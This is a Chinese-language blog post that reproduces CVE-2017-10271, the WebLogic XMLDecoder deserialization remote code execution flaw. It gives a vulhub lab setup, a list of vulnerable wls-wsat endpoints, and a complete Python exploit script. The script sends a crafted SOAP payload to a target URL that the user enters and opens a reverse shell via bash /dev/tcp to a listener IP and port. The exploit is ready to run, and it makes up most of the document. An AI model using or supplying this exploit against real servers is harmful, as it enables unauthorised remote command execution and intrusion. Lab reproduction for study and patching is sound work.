Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271复现

2022-01-01 15:46:39

Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271

漏洞描述

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

影响版本

Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.0.0
Weblogic 12.2.1.2.0

环境搭建

$ git clone https://github.com/vulhub/vulhub.git
$ cd vulhub/weblogic/CVE-2017-10271
$ sudo docker-compose up -d

漏洞复现

访问网站，即为环境搭建成功：

访问http://x.x.x.x:7001/wls-wsat/CoordinatorPortType，可以访问则漏洞存在：

其他可以使用的url：

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

反弹shell exp：

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import requests
import sys
import json

def title():
    print(‘+------------------------------------------‘)
    print(‘+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m‘)
    print(‘+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m‘)
    print(‘+  \033[34m公众号 : PeiQi文库                                                     \033[0m‘)
    print(‘+  \033[34mVersion: Weblogic 10.3.6.0.0            \033[0m‘)
    print(‘+  \033[34m         Weblogic 12.1.3.0.0            \033[0m‘)
    print(‘+  \033[34m         Weblogic 12.2.1.0.0            \033[0m‘)
    print(‘+  \033[34m         Weblogic 12.2.1.2.0            \033[0m‘)
    print(‘+  \033[36m使用格式: python3 CVE-2017-10271.py      \033[0m‘)
    print(‘+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:7001  \033[0m‘)
    print(‘+  \033[36mCmd    >>> shell(反弹shell)              \033[0m‘)
    print(‘+------------------------------------------‘)

def POC_1(target_url, IP, PORT):
    vuln_url = target_url + "/wls-wsat/CoordinatorPortType"
    headers = {
        "Content-Type": "text/xml",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    data = """
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.4.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
        <void index="0">
        <string>/bin/bash</string>
        </void>
        <void index="1">
        <string>-c</string>
        </void>
        <void index="2">
        <string>bash -i &gt;&amp; /dev/tcp/%s/%s 0&gt;&amp;1</string>
        </void>
        </array>
        <void method="start"/></void>
        </java>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
        </soapenv:Envelope>
    """ % (IP,PORT)
    try:
        response = requests.request("POST", url=vuln_url, headers=headers, data=data)
    except:
        print("\033[31m[x] 漏洞利用失败 \033[0m")


if __name__ == ‘__main__‘:
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    IP = str(input("\033[35m请输入监听IP   >>> \033[0m"))
    PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
    POC_1(target_url, IP, PORT)

反弹shell：

参考链接